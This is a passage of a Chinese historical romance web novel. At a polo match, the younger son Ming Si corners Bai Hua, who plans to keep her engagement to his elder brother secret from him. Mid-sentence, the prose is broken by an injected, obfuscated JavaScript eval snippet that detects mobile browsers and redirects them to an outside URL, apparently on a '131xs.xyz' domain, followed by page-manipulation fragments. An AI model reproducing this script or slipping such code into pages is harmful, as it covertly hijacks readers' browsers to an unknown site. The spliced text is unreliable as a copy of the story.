结果到了马球会那日，马车停在门口，二公子人高腿长，连马凳都不踩，自个就一脚跨上了车。 车里的白婳与他四目相对：“……” 明肆一言不发，一手掀着帘子，看了她一眼，便在对面径自坐下。 他面无表情，连带着周遭的温度都冷上两分，显然是揣着情绪的。 侯夫人出行，套的是四乘的马车，好在车厢够大，窗帘也勾着，天光透进来，尚且不算幽闭。 没多久，明毓上了车。 小姑娘今年十四，第一次去马球会，特意穿了身枣红色的轻便骑装，脸上原本笑盈盈的，进门想叫白婳姐姐。 冷不防才发现另一头还坐着明肆。 明毓：“……” 他个高，甚至比刚回来那会还要再高些，即便坐着也是压迫感。明毓本就怕这个二堂兄，原本开心的表情下意识就变得端庄严肃起来。 “到我这来。”白婳朝她伸出手，解救了小姑娘的局促。 明肆却在这时忽然起身。 “我骑马。”他言简意赅，两步就跳下了马车。 白婳：“……”那他方才上车是为什么？ 此时刚刚初春，马球场上的草都是新长的，还不算茂盛，但也是已有盎然春意。 年轻男子在球场上追逐着，白婳陪侯夫人在看台上坐了一会，薛芳漪叫了她去骑马。 汴京城风行马球，贵女中虽然能上场打球的不多，但多少都会骑马。 薛芳漪和白婳沿着草场往前，不紧不慢转悠闲话。 “五月初，我与成序哥哥要订亲。”白婳笑着同她说。 薛芳漪一愣：“……大公子应了？” 白婳及笄那年，来找她哭诉过，薛芳漪知晓她心中那些细腻的心思，也看得懂明疏的意思。 她总以为，白婳与明疏走不到这一步。 白婳没接话，半晌后才认真道：“不嫁他，我也不会再嫁给旁人了。” 这时候，另一位牵马的华服男子朝二人来。 他生得斯文白净，一双丹凤眼，满身书卷气，是善柔长公主膝下长子，特意来寻薛芳漪，给她送了些早春的樱桃。 薛芳漪与白婳下马，与他寒暄两句。 白婳大约猜到些，便从旁多观察了两眼，觉得谈吐样貌皆是不错，与书香门第的芳漪倒也般配。 后面场上薛家胞兄缺个队友上阵，遣了小厮来搬救兵，将薛芳漪叫走了。 薛芳漪马球打的甚好，连拿了好几分，引得看台一片叫好。 场边人多，白婳看了一会便往回准备去找侯夫人，却是在人群里瞧见了明肆往这边来。 白婳想了想，还是选择往看台后绕了一段路。 这些台座相连，后头大多是各家伺候的丫鬟小厮，相对僻静。 经过一处拐弯，就被前头明肆迎面拦住。 他出现的太猝不及防，白婳被吓了一跳。 “二公子。”白婳按着胸口唤他，脑子一边快速转动着。 刚才分明在前头瞧见他，这条路怎么走也不该是反向到这来，他是刻意来堵她的。 明肆努力让自己压着一肚子的火气。 他被躲了这么些天，本就气不顺，还看见个男人跑来献殷勤，有说有笑的。 明肆觉得，他们需要开诚布公的好好聊聊。 哪怕知道白婳吃软不吃硬，一开口却还是生硬：“躲我？” 白婳看他一眼。 “你犯得着这么躲？老大那天是跟你说什么了？”明肆拧着眉，“他就这么吊着你有意思？” 白婳脸色一变：“你休要胡言，什么叫吊着。” 明肆：“既不成亲，手又伸的这么长。管天管地，管得着你跟谁见面说话头上去？” “没人跟我说什么，我做任何事都是自己的选择，二公子，他是你大哥，说话放尊重些。”白婳看着他道。 “他是我大哥没错，但你还不是我大嫂。”明肆不想扯远了，才似深吸一口气，“做什么躲我？” 白婳压了又压，才没将婚事在这个时候说出来。 “二公子言重了，我们本就不是要时时见面的关系。”她说。 明肆眯眼看她，那双黑眸里盛着情绪，“就因为那日跟你说话叫他看见了，你就这般着急要跟我划清界限表忠心？” “什么界限忠心的……”白婳一激动，有理说不清。 清清白白的关系，被他几句话说得暧昧丛生，好像真有什么了似的。 她一激动，面颊就泛上一层红晕。 眸色亮，唇色也鲜亮，试图辩驳。 很美，且生动。 明肆除了她什么都看不见，面上神情不变，喉间却深滚一下。 至于她具体说了什么，左耳进右耳出的，没听太清。 明肆发觉自己在秋白婳面前，好像没什么原则。 ——因为胸口堵了那许久的一口气，这一瞬间竟自己散了，拨云见日般奇效。 “……再要胡说，叫有心人听去，影响的也不止是我一人的颜面……” “行，那你别晾着我。”明肆忽然直杵杵的一句话。 “……”白婳接不上话。 她想说，若明肆能以兄长自居，她自然是相当乐意回报以兄妹之谊，何苦这么躲躲藏藏。 但这话不能点破。 有些事情，即便心照不宣，只要那层窗户纸还在，就能维持表面平和。 一旦说破，甚至是在强化明肆自己的心理暗示。 当年的事，前车之鉴犹在，白婳一直觉得，若非燕世子那张大嘴巴到处传，叫家里人知道了，激起了少年人的逆反心。 还有后头那满城的流言蜚语。 人性就是这样，一件事情或许自己心中还未想定，但其他人都这么传，听着听着，就连自己也给骗进去了，深信不疑。 她不说话，明肆又问：“成不成？” 白婳回神，垂着眸子道：“前些日子确实是不巧，一家人，碰面的时日还多。” 这算是退了一步。 至少以后元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694685|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宵那种家宴中，她不会再称病缺席。 明肆却不满意：“我去葳蕤院寻你，也不可躲着。” “二公子。”白婳蹙眉，“我没有在与你谈条件。” “我也不是在谈条件，我在提要求。”明肆说话向来气壮，“而且并不过分。” 他刚回来的时候，白婳也是这样一副避之不及的模样，那时候明肆不觉得有什么。但偏偏之后二人的关系有所缓和，被拉近了一步。 又是送琵琶又是送砚台的，还怕他手冷，给他盖了斗篷。 这时候她再玩这种忽然抽身，那不能够。 白婳被他这蛮不讲理的态度噎住，一时不知该如何是好。 她余光扫了眼周围，既担心被谁看到风言风语，又盼着有人能来解了她这僵局。 白婳想，或许现在应了，只要能维持表面平和，等他科考完，入了朝，事情繁杂起来，便顾不上这点儿女私情。 到时候，她与明疏也下了聘，订了亲，再无更改。 到那时，日子就能彻底顺遂下去。 但二公子这较真的脾气…… “琢磨什么？”明肆黑沉沉的眸子带着探究。 然后忽然道：“你府库看我那一眼，我回去气得一晚上没睡着。” “……”白婳愕然看着他。 她觉得不能再这样聊下去，好像有什么东西在朝不受控制的方向脱缰。 明肆说话却是直接了当，不考虑对面听着受不受得了，也不给人一点喘气的机会。 他说：“从前算我顽劣，引你注意的办法诸多不恰当，我给你道歉。如今你我都已成人，分得清心意，也知晓说这些话的轻重。但白婳，有些事情，躲是没有用的。” 白婳心慌得要跳出来，慌忙打断他：“二公子！” 她好想跑。 但有种只要她敢跑明肆敢直接拽住她的直觉。 拉拉扯扯的更是完蛋。 “你、你此番回京是科考的，春闱没几天了，心思该放在前途上。”白婳不去看他，眼睛却仍是左右闪烁，难得说话都打磕巴。 “是，春闱没几天了。”明肆身子也在发烫，盯着面前白婳的脸，目光一错不错。 然后他又说：“但不堵你一遭把话说开，这些日子没心思温书。” 明肆忽然往前一步，吓得白婳立即后退。 好在他只一步便站定，他说：“等考完……” 明肆话还没说完，前面传来侯夫人的声音：“怎么在这里站着？” 白婳一瞬间如释重负，松一大口气，飞快越过明肆王侯夫人身边跑去。 她心跳还未恢复，也不敢去看侯夫人的眼睛，只压着情绪笑着解释：“前面人太多，才想着从这绕一绕。” 明肆话没说完被打断，脸色不太好，站那盯着自己的娘，半晌不说话。 侯夫人怎么看不懂这个眼神，她就是特意来找他们的。 她也意味深长看了明肆一眼，轻易将话头揭过去：“我说怎么两个人都跑没影了，也没见着上场打球。长公主叫人送了些樱桃来，来叫你们一起尝尝鲜。” 回去的路上，谁都没说话。 白婳失眠了一整晚，翻来覆去。 她觉得，二公子没说完的那半句话是：‘等考完之后，再来说我们俩的事。’、‘等考完之后，我就正式跟家里把心思挑明。’ 如果让他知道，她与大公子要订婚，他会怎么闹？ 白婳不敢想，只从床上翻坐起来，心口又跳得厉害。 她按着胸口，扑通扑通的。 之前只觉得这事无需刻意通知二公子，也算不上相瞒。但她现在觉得，绝不能让二公子知道她的订婚宴，至少他科考前都必须瞒住了。 不，是科考后也要瞒。 最好瞒到生米煮成熟饭。 否则她心心念念多年的事情，可能会被他搅黄。